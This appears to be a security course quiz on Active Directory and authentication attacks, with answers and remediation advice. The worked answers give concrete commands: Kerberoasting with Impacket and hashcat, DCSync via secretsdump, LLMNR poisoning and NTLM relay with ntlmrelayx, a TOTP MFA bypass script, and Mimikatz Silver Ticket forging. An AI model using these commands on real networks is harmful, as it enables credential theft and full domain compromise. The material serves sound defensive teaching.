Chapter 1.4 Quiz Authentication Protocols & Identity Attacks
Quiz Mode All answers are hidden under collapsible sections. Attempt each question before revealing the answer.
Question 1
An attacker has compromised a low-privilege domain user account. Running BloodHound reveals the following path:
user_helpdesk → [GenericWrite] → svc_sql → [MemberOf] → Domain Admins
svc_sql has the SPN MSSQLSvc/db01.corp.com:1433. Walk through exactly how the attacker escalates from user_helpdesk to Domain Admin, naming each technique and the specific commands used.
Reveal Answer & Explanation
Answer: Targeted Kerberoast on svc_sql → crack hash → access Domain Admin group via svc_sql membership.
Step 1 Targeted Kerberoasting via GenericWrite
GenericWrite on a user account allows modifying the servicePrincipalName attribute. svc_sql already has a SPN (MSSQLSvc/...) so it can be Kerberoasted directly.
# Request service ticket for svc_sql (any domain user can do this)
python3 GetUserSPNs.py corp.local/user_helpdesk:Password123 \
-dc-ip 10.0.0.1 \
-request-user svc_sql \
-format hashcat \
-outputfile svc_sql.hash
# Output:
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/db01.corp.com:1433*$aabbcc...
# Crack the hash
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Result: svc_sql:Sql@dmin2023
Step 2 Authenticate as svc_sql
# Verify credentials work
python3 smbclient.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1
# Or request a TGT
python3 getTGT.py corp.local/svc_sql:Sql@dmin2023 -dc-ip 10.0.0.1
export KRB5CCNAME=svc_sql.ccache
Step 3 Exploit Domain Admin membership
Since svc_sql is a member of Domain Admins:
# Dump all hashes from the domain (DCSync)
python3 secretsdump.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1 \
-just-dc \
-outputfile domain_hashes.txt
# Remote execution as DA:
python3 wmiexec.py corp.local/svc_sql:Sql@dmin2023@10.0.0.1 \
"whoami /priv"
Remediation:
- Remove
svc_sqlfrom Domain Admins (principle of least privilege) - Set password to 30+ random characters (use gMSA)
- Remove the SPN if the SQL service is decommissioned
- Audit GenericWrite permissions in BloodHound regularly:
# Find all GenericWrite relationships to high-value targets
# BloodHound Cypher:
MATCH p=(u)-[:GenericWrite]->(t)
WHERE t.highvalue=true
RETURN u.name, t.name
Question 2
You capture the following network traffic on an internal network segment:
Source: 10.0.0.55 → 10.0.0.1 (LLMNR query: "fileserver01")
Source: 10.0.0.100 → 10.0.0.55 (LLMNR response: "fileserver01 = 10.0.0.100")
Source: 10.0.0.55 → 10.0.0.100 (SMB NEGOTIATE)
Source: 10.0.0.55 → 10.0.0.100 (NTLMSSP_NEGOTIATE)
Source: 10.0.0.100 → 10.0.0.55 (NTLMSSP_CHALLENGE: 0xaabbccdd11223344)
Source: 10.0.0.55 → 10.0.0.100 (NTLMSSP_AUTH: user=jsmith, NTLMv2 response)
Explain what is happening, identify the attacker, and describe two distinct post-capture actions the attacker can take.
Reveal Answer & Explanation
Answer: LLMNR poisoning attack 10.0.0.100 is the attacker running Responder, capturing jsmith's NTLMv2 hash.
What is happening:
10.0.0.55cannot resolve "fileserver01" via DNS falls back to LLMNR broadcast10.0.0.100(attacker running Responder) responds claiming to be "fileserver01"10.0.0.55initiates an SMB connection to the attacker's IP- NTLM authentication begins the attacker controls the challenge (
0xaabbccdd11223344) jsmithon10.0.0.55sends their NTLMv2 response (HMAC-MD5 of password hash + challenge)- Attacker now has jsmith's NTLMv2 hash offline crackable
Post-capture action 1 Offline cracking:
# Responder captures the hash in this format:
# jsmith::CORP:aabbccdd11223344:NTLMv2RESPONSE:BLOBDATA
# Save to hashes.txt and crack with hashcat
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 5600 = NetNTLMv2
# If cracked → plaintext password → can authenticate to any service
python3 smbclient.py corp.local/jsmith:CrackedPassword@10.0.0.1
Post-capture action 2 NTLM Relay (no cracking needed):
# Instead of (or alongside) Responder: run ntlmrelayx in parallel
# Relay jsmith's auth in real-time to a target server
python3 ntlmrelayx.py \
-t smb://10.0.0.200 \
-smb2support \
-i
# If jsmith has admin on 10.0.0.200:
# - Dump SAM database
# - Execute commands
# - Access file shares
# This happens in seconds no cracking required
Remediation:
# Disable LLMNR via GPO
# Computer Configuration → Administrative Templates → Network → DNS Client
# "Turn off multicast name resolution" → Enabled
# Enable SMB Signing (prevents relay to SMB)
# HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters
# RequireSecuritySignature = 1
Question 3
A developer implements TOTP-based MFA for a web application. The implementation stores the TOTP secret in the user table in the database and validates the 6-digit code server-side. An attacker has read-only access to the database. Explain how the attacker can bypass MFA, and what additional security measures would prevent this.
Reveal Answer & Explanation
Answer: TOTP secrets in the DB allow real-time OTP generation read-only DB access fully bypasses MFA.
How the attacker bypasses MFA with DB read access:
TOTP (RFC 6238) generates codes from: TOTP(secret, timestamp). The secret is the only persistent element the 6-digit code changes every 30 seconds but is deterministically derived from the secret.
# Attacker reads TOTP secret from compromised DB:
# SELECT totp_secret FROM users WHERE username='admin'
# Result: JBSWY3DPEHPK3PXP (base32-encoded secret)
import pyotp, time
stolen_secret = "JBSWY3DPEHPK3PXP"
totp = pyotp.TOTP(stolen_secret)
# Generate current valid OTP
current_otp = totp.now()
print(f"Current OTP: {current_otp}") # Valid right now
# Use it: authenticate with admin's password + generated OTP
# Full MFA bypass with zero interaction with the victim
Correct implementation:
class SecureTOTP:
def __init__(self, redis_client):
self.redis = redis_client
def verify(self, user_id, secret, otp_code, window=1):
totp = pyotp.TOTP(secret)
# Rate limit: max 5 attempts per 5 minutes
attempts_key = f"totp_attempts:{user_id}"
attempts = int(self.redis.get(attempts_key) or 0)
if attempts >= 5:
raise RateLimitError("Too many OTP attempts")
if not totp.verify(otp_code, valid_window=window):
self.redis.incr(attempts_key)
self.redis.expire(attempts_key, 300)
return False
# Prevent replay: mark this OTP as used
otp_key = f"used_otp:{user_id}:{otp_code}:{int(time.time())//30}"
if self.redis.get(otp_key):
raise ReplayError("OTP already used")
self.redis.setex(otp_key, 90, "used")
self.redis.delete(attempts_key)
return True
Preventing DB secret exposure:
# Encrypt TOTP secret with AWS KMS before storing
import boto3, base64
kms = boto3.client('kms')
def store_totp_secret(user_id, raw_secret):
encrypted = kms.encrypt(
KeyId='arn:aws:kms:us-east-1:123456:key/abc-def',
Plaintext=raw_secret.encode()
)['CiphertextBlob']
db.execute("UPDATE users SET totp_secret=? WHERE id=?",
(base64.b64encode(encrypted), user_id))
The correct architecture: encrypt TOTP secrets with a key in an HSM or cloud KMS. DB read access → encrypted blobs, not usable secrets. Better: use FIDO2/WebAuthn private keys never leave the authenticator hardware.
Question 4
During a red team engagement, you obtain a TGT for a domain user by running Rubeus on a compromised workstation. However, you want Domain Admin access. Describe the Silver Ticket attack, explain how it differs from a Golden Ticket, and provide the specific conditions and commands needed to execute a Silver Ticket attack against the CIFS service on a file server.
Reveal Answer & Explanation
Answer: A Silver Ticket forges a service ticket using the service account's hash no KDC interaction, stealthier than Golden Ticket but more limited in scope.
Silver Ticket vs. Golden Ticket:
| Attribute | Golden Ticket | Silver Ticket |
|---|---|---|
| Requires | krbtgt hash | Service account hash |
| Forges | TGT (any service) | Service Ticket (specific service only) |
| KDC contact | None after forging | None |
| Scope | Entire domain | Single service |
| Stealth | Low (krbtgt hash is highly monitored) | Higher (service account hash less monitored) |
Getting the service account hash:
# If you have admin on the file server:
python3 secretsdump.py corp.local/admin:Password@fileserver01.corp.com
# Look for: CORP\FILESERVER01$
# Or via DCSync:
python3 secretsdump.py corp.local/admin:Password@10.0.0.1 \
-just-dc-user "FILESERVER01$"
Forging the Silver Ticket:
# Mimikatz: forge service ticket for CIFS on fileserver01
kerberos::golden \
/user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-123456789-987654321-111111111 \
/target:fileserver01.corp.com \
/service:cifs \
/rc4:MACHINE_ACCOUNT_HASH \
/ticket:silver_cifs.kirbi
# Load the ticket
kerberos::ptt silver_cifs.kirbi
# Access the file server
dir \\fileserver01.corp.com\C$
dir \\fileserver01.corp.com\Shares\HR_Files
Why Silver Tickets are harder to detect:
The forged service ticket is presented directly to the target service the domain controller never sees this authentication. There is no Event ID 4769 (TGS request) because the ticket was forged, not requested.
Defense:
# Enable PAC validation forces services to verify PAC with the KDC
# This defeats Silver Tickets by requiring KDC contact
# GPO: Computer Configuration → Administrative Templates →
# System → Kerberos
# Rotate machine account passwords regularly
# Limit service account privileges (only necessary shares, not C$)